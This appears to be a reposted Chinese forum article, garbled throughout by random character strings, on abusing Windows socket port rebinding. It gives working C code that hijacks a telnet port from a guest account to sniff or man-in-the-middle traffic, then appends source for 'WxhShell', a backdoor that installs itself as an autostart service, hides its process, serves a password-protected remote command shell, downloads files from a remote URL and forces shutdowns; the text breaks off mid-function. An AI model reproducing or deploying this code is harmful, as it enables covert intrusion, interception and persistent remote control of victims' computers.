在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
~NO'8Mr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5|oi*b yrrP#F saddr.sin_family = AF_INET;
Y2y =
P BUEV+SZ4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mDIN%/S' M 0RVEhX bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
B+=Xb;p8 \YF'qWB 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
fu`|@S th|TwD&mO 这意味着什么?意味着可以进行如下的攻击:
ebB8.(k9G3 0J9Ub
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
GG`;c?d@ =xHzhh 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7C^W <SUo '\B!1B>T 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+}!FP3KgT AaJnRtBS~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
lO^YAOY K>`*JJ, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Cv1CRmqq% _VAX~Y] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3=kw{r[2lM vtf`+q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
WLN;LT zB)wYKwZ #include
(
ESmP #include
::G0v #include
7
[?]DyOf #include
=:v5`
: DWORD WINAPI ClientThread(LPVOID lpParam);
gS^Y? int main()
VWE`wan< {
C Z/:(sOJ WORD wVersionRequested;
fhQ}Z%$ DWORD ret;
AU
H_~SY WSADATA wsaData;
H-Or BOOL val;
EN2/3~syO- SOCKADDR_IN saddr;
L)/^%/! SOCKADDR_IN scaddr;
]Saw}agE[% int err;
,[ M^rv SOCKET s;
e5.sqft SOCKET sc;
[5jXYqD=vj int caddsize;
1FmqNf:V7I HANDLE mt;
eop7=!`-~~ DWORD tid;
C2Af$7c wVersionRequested = MAKEWORD( 2, 2 );
Qx}hiv/ err = WSAStartup( wVersionRequested, &wsaData );
a6.0$' if ( err != 0 ) {
}Fgp*x-G printf("error!WSAStartup failed!\n");
,zH\&D$>u return -1;
N'RUtFqj }
/c-%+Xd saddr.sin_family = AF_INET;
nL-kBW Ed> (e6KSRh2fF //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
S?LUSb iQ_^MzA saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
i?pC[Ao-_ saddr.sin_port = htons(23);
Z%O>|ozpq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wDS(zG {
g7U>G=,;?U printf("error!socket failed!\n");
a$P$Ngi?S return -1;
q| 7$@H^* }
]k.'~Syz val = TRUE;
~l>2NY //SO_REUSEADDR选项就是可以实现端口重绑定的
!7fVO2m T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9Kd:7@U {
s~MCt|a printf("error!setsockopt failed!\n");
qz/d6-0" return -1;
B#;0{ }
joJ:*oL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"?TKz:9r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
p*S;4+># //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Z:s:NvFX Pi:=0,"XOp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
i5^U1K\M {
W8{zV_TBm ret=GetLastError();
|F^h>^
x printf("error!bind failed!\n");
_a~-B@2g return -1;
>^hy@m }
h|t\rV^ listen(s,2);
-z$&lP] while(1)
xK C{P{: {
@Tg +Kt caddsize = sizeof(scaddr);
iKN800^u //接受连接请求
ck4g=QpD{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
tM;S
)S(= if(sc!=INVALID_SOCKET)
X mX
.)h'Y {
$y&1.caMa mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[E/}-m6g if(mt==NULL)
qQ "O;_ {
AilfeHG printf("Thread Creat Failed!\n");
N:Zf4 break;
gR:21*&cz }
|Zrkk>GW: }
0ge^pO\Z CloseHandle(mt);
d8Kxtg
Y }
;0`p"T0 closesocket(s);
@s@67\ WSACleanup();
]w[T_4l return 0;
[e+$jsPl }
Pb-Ft= DWORD WINAPI ClientThread(LPVOID lpParam)
IB+)2 ` {
C2 ] x SOCKET ss = (SOCKET)lpParam;
>E3 lY/[ SOCKET sc;
D1VM_O
unsigned char buf[4096];
p~w|St7jg SOCKADDR_IN saddr;
*=ymK* long num;
&BDdJwE DWORD val;
2r|!:^'?W DWORD ret;
wk"zpI7L //如果是隐藏端口应用的话,可以在此处加一些判断
k_<8SG+` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#XlE_XD saddr.sin_family = AF_INET;
`2Oh0{x0*O saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@UidQX"b saddr.sin_port = htons(23);
N>}2&'I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[5Dg%?x {
#UpxF?A( printf("error!socket failed!\n");
+w
pe<T return -1;
dECH/vJ^ }
HGjGV]N5 val = 100;
:'LG%E:b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=wy 3h0k^ {
^."HD( ret = GetLastError();
IN%04~=H return -1;
`e!hT@Xxa }
w+0Ch1$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/o_h'l|PS {
)4P5i
b ret = GetLastError();
Qe )#'$T return -1;
JrdH6Zg }
].eY]o}= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)tV^)n[w {
BsX#
~ printf("error!socket connect failed!\n");
SLze) ?. closesocket(sc);
?) ~j>1"S closesocket(ss);
4{r_EV[( return -1;
q;V1fogqI) }
bu2'JIDR while(1)
t[ZumQ@HC {
!F|iL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
UUt631 //如果是嗅探内容的话,可以再此处进行内容分析和记录
igW>C2J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
rpNe8"sh num = recv(ss,buf,4096,0);
^:RDu q if(num>0)
Nh[{B{k send(sc,buf,num,0);
Uieg4I ro else if(num==0)
UT9=S21 break;
HGgw<Os-k num = recv(sc,buf,4096,0);
92k}ON if(num>0)
-~HlME*~f send(ss,buf,num,0);
[[[QBplJ else if(num==0)
c[Mz#BWG break;
(Rc0 l; }
U "qO&;m closesocket(ss);
-0)So closesocket(sc);
~"*;lT5KX return 0 ;
B43o_H|s }
pw7_j;}l UI4Xv p ?HODwZ ==========================================================
79^on8 k} swDSV1alMB 下边附上一个代码,,WXhSHELL
qKL_1
~ !!c.cv' ==========================================================
TLL.Ch|#Y IP1|$b}sq #include "stdafx.h"
C3 %, pDh \4SFD3$& #include <stdio.h>
uK?T<3]' #include <string.h>
$Q:5KNF+p #include <windows.h>
7<=7RPWmD #include <winsock2.h>
iDO~G($C #include <winsvc.h>
"*@iXJxv5 #include <urlmon.h>
y(RbW_
? b* 6c.
#pragma comment (lib, "Ws2_32.lib")
NRKAEf_#w #pragma comment (lib, "urlmon.lib")
;D/'7f7.} t3/!esay #define MAX_USER 100 // 最大客户端连接数
omV.Qb'NS #define BUF_SOCK 200 // sock buffer
n^/,>7J #define KEY_BUFF 255 // 输入 buffer
qvOBvUR} >NE]TZ.F #define REBOOT 0 // 重启
YV 9*B #define SHUTDOWN 1 // 关机
qR_"aQ7s2 %;9eh' #define DEF_PORT 5000 // 监听端口
ZUyM:$ zYOPE 6E #define REG_LEN 16 // 注册表键长度
|k'I?:' #define SVC_LEN 80 // NT服务名长度
jkNZv. )p WII_s|YSt% // 从dll定义API
$Mx.8FC + typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
kmW!0hm;e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\]J"e% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
pAmTwe typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
U
gB e7L;{+XI // wxhshell配置信息
LFSOHJj struct WSCFG {
JoZC+G int ws_port; // 监听端口
xuelo0h, char ws_passstr[REG_LEN]; // 口令
"0L@cOyG int ws_autoins; // 安装标记, 1=yes 0=no
?NI)3-l char ws_regname[REG_LEN]; // 注册表键名
%!rsu-W:Y char ws_svcname[REG_LEN]; // 服务名
Yb =8\<; char ws_svcdisp[SVC_LEN]; // 服务显示名
i=2+1;K char ws_svcdesc[SVC_LEN]; // 服务描述信息
#U/B,`= > char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[uRsB5 int ws_downexe; // 下载执行标记, 1=yes 0=no
RpLm'~N' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
q@(N 38D char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]?)zH:2) PJAir8 };
}qz58]fyx rI]:| k // default Wxhshell configuration
)KRO=~Y struct WSCFG wscfg={DEF_PORT,
q#\eL~k "xuhuanlingzhe",
n.lp
ena 1,
d(a6vEL4 "Wxhshell",
bM^'q "Wxhshell",
72-@!Z0e "WxhShell Service",
`hlyN]L "Wrsky Windows CmdShell Service",
>Ft jrEB "Please Input Your Password: ",
q>omCk%h 1,
FpRK^MEkG "
http://www.wrsky.com/wxhshell.exe",
E$G"R= "Wxhshell.exe"
[=E<iPl };
&P{%C5?{ */8\Z46z // 消息定义模块
50H [u| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
mI`dZ3h char *msg_ws_prompt="\n\r? for help\n\r#>";
FySK& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<bTa88,) char *msg_ws_ext="\n\rExit.";
U3U eTa_ char *msg_ws_end="\n\rQuit.";
x@k9]6/zs char *msg_ws_boot="\n\rReboot...";
b`:Eo+p char *msg_ws_poff="\n\rShutdown...";
*p WswcV/ char *msg_ws_down="\n\rSave to ";
!E7/:t4 Ta[}k/zW char *msg_ws_err="\n\rErr!";
d#z67Nl6 char *msg_ws_ok="\n\rOK!";
"{0kg'fU 3S5QqAm char ExeFile[MAX_PATH];
TOuFFR int nUser = 0;
=C:0='a HANDLE handles[MAX_USER];
R\+$^G}#6 int OsIsNt;
>$"bwr}'4B /cjf 1Dc SERVICE_STATUS serviceStatus;
H+0 * SERVICE_STATUS_HANDLE hServiceStatusHandle;
5g&'n a,tP.Xsl // 函数声明
j/Kw-h ,5" int Install(void);
be@MQ}6> int Uninstall(void);
uuC/F_='B int DownloadFile(char *sURL, SOCKET wsh);
iCEX|Tj; int Boot(int flag);
n+i}>3'A void HideProc(void);
H5aUZ= int GetOsVer(void);
?QMs< int Wxhshell(SOCKET wsl);
A=3U4L void TalkWithClient(void *cs);
@LmUCP~ int CmdShell(SOCKET sock);
QTyl=z7 int StartFromService(void);
:D/R int StartWxhshell(LPSTR lpCmdLine);
#e0+;kBh jf2E{48P VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(HJ60Hj VOID WINAPI NTServiceHandler( DWORD fdwControl );
Yp;x "{:*fI;! // 数据结构和表定义
7vWB=r>5@ SERVICE_TABLE_ENTRY DispatchTable[] =
~gAx {
}z*p2)v` {wscfg.ws_svcname, NTServiceMain},
[p(C:rH {NULL, NULL}
[lJ[kr*7 };
z DK+8 TUUBC% // 自我安装
3whyIXs int Install(void)
FPMW"~v {
Ar$LA"vu4 char svExeFile[MAX_PATH];
P"#^i<ut@T HKEY key;
Av[jFk strcpy(svExeFile,ExeFile);
}l2JXf55 ':[y]ep(~| // 如果是win9x系统,修改注册表设为自启动
](ninSX1w if(!OsIsNt) {
X3>(K1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bC{~/ JP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?:2Xh/8- RegCloseKey(key);
cP
Y^Bf5) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v;A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f;Dz(~hw RegCloseKey(key);
XU54skN return 0;
<*\J 6:^n }
_\<M58/z }
+l#2u#e }
&V;a: else {
.6hH}BM B?4\IXek // 如果是NT以上系统,安装为系统服务
8BN'fWl&E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&d2/F i+ if (schSCManager!=0)
-Z@p
{
O| 2Q-
@D SC_HANDLE schService = CreateService
nk{1z\D{ (
*!Dzst-J3 schSCManager,
ubQ(O uM" wscfg.ws_svcname,
;CrA wscfg.ws_svcdisp,
A4^+p0@ SERVICE_ALL_ACCESS,
68SM br SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
`l}-S |a SERVICE_AUTO_START,
_`\INZe-G SERVICE_ERROR_NORMAL,
C+mU_g> svExeFile,
f0F$*"#G NULL,
F,
"x~C NULL,
DjKjEZHgM NULL,
Z*)<E) NULL,
y\[=#g1(@ NULL
7PMZt$n );
y{N9.H2 if (schService!=0)
x0d+cSw {
'tbb"MEi4 CloseServiceHandle(schService);
2*M*<p=v CloseServiceHandle(schSCManager);
w9FI*30 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
3%} Ma, strcat(svExeFile,wscfg.ws_svcname);
cm]]9z_< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
jmFN*VIL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,jn?s^X6Dj RegCloseKey(key);
L`#+ZLo return 0;
kpdFb7>| }
^WNJQg' }
A=$oYBB CloseServiceHandle(schSCManager);
W)#`4a^xj7 }
Y!L jy
[/ }
?Z=v&d[o) VC.?]'OqD return 1;
qEAF!iB]L }
5-OvPTY`M HZ}*o%O // 自我卸载
gY9"!IVe+
int Uninstall(void)
l;.BlHyu {
B4}XK=) HKEY key;
q
:bKT#\ c&++[ if(!OsIsNt) {
(yP55PC
O$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3\{Sf /# RegDeleteValue(key,wscfg.ws_regname);
,B2-'O RegCloseKey(key);
zgqw*)C~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P5>CSWy% RegDeleteValue(key,wscfg.ws_regname);
TI>yi ^} RegCloseKey(key);
tX251S return 0;
@>Keu\) }
x}{VHp`|ld }
h,x] }
fDd!Mt else {
<IVz mzpL yShHFlO= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0REWbcxd" if (schSCManager!=0)
K>[H@|k\k
{
5)UmA8"zVB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
CC\z_C*P-p if (schService!=0)
K\b O[J {
+HX'A C if(DeleteService(schService)!=0) {
qx)k1 QY CloseServiceHandle(schService);
o(P:f)B CloseServiceHandle(schSCManager);
RY{tX` return 0;
g1~I*!p }
x/=j$oA CloseServiceHandle(schService);
j;)6uia*A }
qedGBl& CloseServiceHandle(schSCManager);
/<0D
E22 }
$T6Qg(p }
qR qy GcR`{ 3hO return 1;
(5~C
_Y }
B$l`9!, 9#<Og>t2y // 从指定url下载文件
5-^%\?,x int DownloadFile(char *sURL, SOCKET wsh)
8-:k@W {
zc+;VtP|8 HRESULT hr;
>A&@W p1 char seps[]= "/";
u7?juI#Cl char *token;
1c#'5~nB char *file;
G+uiZ(p> char myURL[MAX_PATH];
(fa?ftK char myFILE[MAX_PATH];
s3{s.55{m &._!)al strcpy(myURL,sURL);
3Mx@ token=strtok(myURL,seps);
]%|WE while(token!=NULL)
QIK73^ {
pGY]VwY file=token;
7X(]r1-+\ token=strtok(NULL,seps);
|Vi&f5p,@ }
n#Roz5/U (:QQ7xc{} GetCurrentDirectory(MAX_PATH,myFILE);
n*Vd<m;w strcat(myFILE, "\\");
+5[oY,^cO strcat(myFILE, file);
-kbm$~P send(wsh,myFILE,strlen(myFILE),0);
5vft}f send(wsh,"...",3,0);
@@83PJFid hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_wNPA1q0J if(hr==S_OK)
b`W*vduf return 0;
|*KS<iHr% else
"<x~{BN? return 1;
lGUV(D u!o]Co> }
NRisr X5Y
`(/V // 系统电源模块
e({fY.)SGo int Boot(int flag)
S2E HmE& {
PuCDsojclh HANDLE hToken;
JGcD{RU| TOKEN_PRIVILEGES tkp;
YM`pNtQ KC:4 if(OsIsNt) {
T:dm0i au OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_AYC|R| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
EWIc|b: tkp.PrivilegeCount = 1;
3]<re{)J9O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*frJ^ Ws{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
S9R]Zl7{- if(flag==REBOOT) {
iN_D8dI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=5~F6to return 0;
<m,yFk }
K;p<f{PE else {
BD7@Mj*| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mO)PJd2ZD return 0;
t*d >eK`:N }
GrR0RwnH)? }
tx5T^K7[ else {
oNB,.: if(flag==REBOOT) {
x
XM!E
8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
e j%;%`C- return 0;
^Wfgwmh }
IT`=\K/[4 else {
kt{C7qpD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ZQ~myqx,+L return 0;
Zknewv*sS4 }
C$LRY~\ }
6_<s=nTX c~UAr k S return 1;
EeJqszmH }
wB>S\~i <*"pra{3 // win9x进程隐藏模块
OR\DTLIl void HideProc(void)
pEVgJ/> {
D!}K)T1~R /.)[9bQ< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-~\.n if ( hKernel != NULL )
6f?BltFaN {
7q!yCU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tB7K&ssi ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n2d8;B# FreeLibrary(hKernel);
N3gNOq& }
/Y[o=Uyl -nk#d%a\ return;
TcD[Teu }
FU\/JF.j )!k_Gb`#X // 获取操作系统版本
~#"7,r Qp int GetOsVer(void)
)ojx_3j8 {
Nxb\[ OSVERSIONINFO winfo;
E-sSRt winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:,NFFN GetVersionEx(&winfo);
R6q4 [" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
z0 2}&^Zzk return 1;
/&$"}Z6z else
TTZ['HP
oI return 0;
1a&/Zlr }
t0e{|du M_h8#7 {G // 客户端句柄模块
U.RW4df%E int Wxhshell(SOCKET wsl)
lMBX!9z {
\ I^nx+l SOCKET wsh;
-4e)N*VVu struct sockaddr_in client;
9K ;k% DWORD myID;
4r1<,{gCS NTm<6Is` while(nUser<MAX_USER)
RQ^m6)BTo {
CYt jY~ int nSize=sizeof(client);
|
"Jx wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
wfBuU> if(wsh==INVALID_SOCKET) return 1;
7deAr$?Wx |Bx||=z` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
eQU-&-wt0 if(handles[nUser]==0)
Q`S iV closesocket(wsh);
1mHwYT+ else
ofMu3$Q nUser++;
ZD5I5 }
uw Kh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7~wFU*P1 }+Rgx@XZ\ return 0;
]}z'X!v_@ }
+65oC x
t_dcV%= // 关闭 socket
0 kf(g156 void CloseIt(SOCKET wsh)
7_9+=.
+X5 {
Hp btj closesocket(wsh);
C-llq`(d nUser--;
7hB#x]oQo ExitThread(0);
59{;VY81 }
>u=%Lz"J -7>^
rR V // 客户端请求句柄
`"a? a5]k void TalkWithClient(void *cs)
8P,l>HA {
WD15pq l R'6@n#: SOCKET wsh=(SOCKET)cs;
gtD char pwd[SVC_LEN];
<7=&DpjI7F char cmd[KEY_BUFF];
TC qkm^xv char chr[1];
NWEhAj<w int i,j;
UT3bd,, \un sh^M while (nUser < MAX_USER) {
UTZ776`S&X .#*D!;f if(wscfg.ws_passstr) {
+7V=aNRlE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
GI4?|@%vD! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<57g{e0I //ZeroMemory(pwd,KEY_BUFF);
vqq6B/r@Fu i=0;
Y[W6Sc while(i<SVC_LEN) {
\UQ9MX _ >n]oB~P% // 设置超时
A -Mj|V fd_set FdRead;
HHz;0V4w? struct timeval TimeOut;
@-0Fe9 n= FD_ZERO(&FdRead);
9khjwt FD_SET(wsh,&FdRead);
{!L=u/qs" TimeOut.tv_sec=8;
vR7ct av TimeOut.tv_usec=0;
=0,|/1~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]?[zx'| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2(pLxVl /K7Bae5h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
M~uMY+> pwd
=chr[0]; tKwn~T
if(chr[0]==0xd || chr[0]==0xa) { J*5hf: ?i
pwd=0; 14mf}"z\
break; 2Kjrw;
} hjkLVL
i++; dUIqD l
} 8qn 9|
OY: u',T
// 如果是非法用户,关闭 socket >-b&v $
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *-0>3
} jh[
#p?:
H"eS<eT
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 13H;p[$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uo~T'mA"
>?z:2@Q)B
while(1) { H
nK!aa
mjbTy"}"
ZeroMemory(cmd,KEY_BUFF); $!f!,fw+
IroPx#s:i
// 自动支持客户端 telnet标准 /0(%(2jIWl
j=0; *ot>WVB
while(j<KEY_BUFF) { FH.f- ZU
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1I ""X]I_
cmd[j]=chr[0]; "# !D|[h0
if(chr[0]==0xa || chr[0]==0xd) { CphFv!k'Z
cmd[j]=0; P>(&glr|
break; _BbvhWN&+
} n+2%tW
j++; vDsF-u1
} C8ZL*9U
SAR=
{/
// 下载文件 k0JW[04j
if(strstr(cmd,"http://")) { S<"oUdkz
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %)?`{O~ h
if(DownloadFile(cmd,wsh)) @Gt`Ds9=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@[rf<,
else m^<p8KZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @o6R[5(
} {?Od{d9
else { b]T@gJ4H=
YScvyh?E
switch(cmd[0]) { >p0KFU
t8P PE
// 帮助 _g~2R#2Q
case '?': { A{N\)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2VA!&`I
break; [KSH~:h:NR
} "N 3)Qr
// 安装 J? .F\`N)
case 'i': { #Y2i*:<
if(Install()) Or8kp/d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LBat:7aH>
else ~Wei|,w'<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /`3#4=5-
break; FQk!d$BG
} ?{6s58Q{
// 卸载 I`T1Pll
case 'r': { BJk
Z2=
if(Uninstall()) zU&L.+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {e"dm5
else (5a1P;_Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rQb7?O@-
break; ; b*i3*!g
} Y%@hbUc}x9
// 显示 wxhshell 所在路径 eVJ^\z:4
case 'p': { @ }&_Dvf
char svExeFile[MAX_PATH]; ml0*1Dw
strcpy(svExeFile,"\n\r"); Z.1>
kZ
strcat(svExeFile,ExeFile); 6@V~0DG
send(wsh,svExeFile,strlen(svExeFile),0); G69GoT
break; XogVpkA
} MjD75hIZ
// 重启 l$XPIC~H
case 'b': { Rko M~`CT
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .UQE{.?
if(Boot(REBOOT)) i{Ds&{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <CZgQ\Mt
else { |gx~gG<
closesocket(wsh); $!B}$I;cd
ExitThread(0); ;j9\b9m
} w!&~??&=}
break; QI_4*
} iOCqE 5d3
// 关机 ]PR#W_&q
case 'd': { vUesV%9hq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _las;S'oa
if(Boot(SHUTDOWN)) ~b)74M/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zsx3/}
else { ,R2U`EO;
closesocket(wsh); LT VF8-v
ExitThread(0); b~w=v_[(I
} mbxbEqz
break; }D;WN@],
} (V?: ]
// 获取shell z~{&}Em ~
case 's': { ypdT&5Mqb!
CmdShell(wsh); m@Rtlb
closesocket(wsh); y7)(LQRE
{
ExitThread(0); ]uQqn]+I!
break; T.mmmT
} k[kju%i4
// 退出 ._PzYE|m2
case 'x': { u0Nm.--;_3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wl-<HR!n
CloseIt(wsh); !EIjN
break; 1P(&J
} U;q];e:,=}
// 离开 ~xLJe`"JUx
case 'q': { t#i,1aHA
send(wsh,msg_ws_end,strlen(msg_ws_end),0); n6<V+G)T
closesocket(wsh); SUM4Di7
WSACleanup(); #oni:] E!m
exit(1); {Ui=b+
break; eq4C+&O&
} Wwujh2g"0|
} EYX$pz(x;
} $O)3q
$|
?OlV"zK
// 提示信息 7 msAhz
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); alq%H}FF
} vVl; |
} m P'^%TE
hrGH}CU"
return; BV#78,8(
} [*:6oo98'
Pr ]Ka
// shell模块句柄 TuDE@ gq(
int CmdShell(SOCKET sock) D B E4&
{ ^Yj xeNY
STARTUPINFO si; &<RpWA k{
ZeroMemory(&si,sizeof(si)); ~m^ #FJu
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xx:F)A8O
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \</b4iR)LT
PROCESS_INFORMATION ProcessInfo; -Go 7"j
char cmdline[]="cmd"; r.ZF_^y}+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jhbonuV_
return 0; )lk&z8;.=
} svf|\p>]H
jz58E}
// 自身启动模式 Y5ZZ3Ati
int StartFromService(void) M-V&X&?j
{ z7GTaX$d
typedef struct \;u@ "
{ D,qu-k[jMI
DWORD ExitStatus; v[e:qi&fG
DWORD PebBaseAddress; )B,|@ynu
DWORD AffinityMask; 1K,1X(0rL8
DWORD BasePriority; \^7C0R-hX
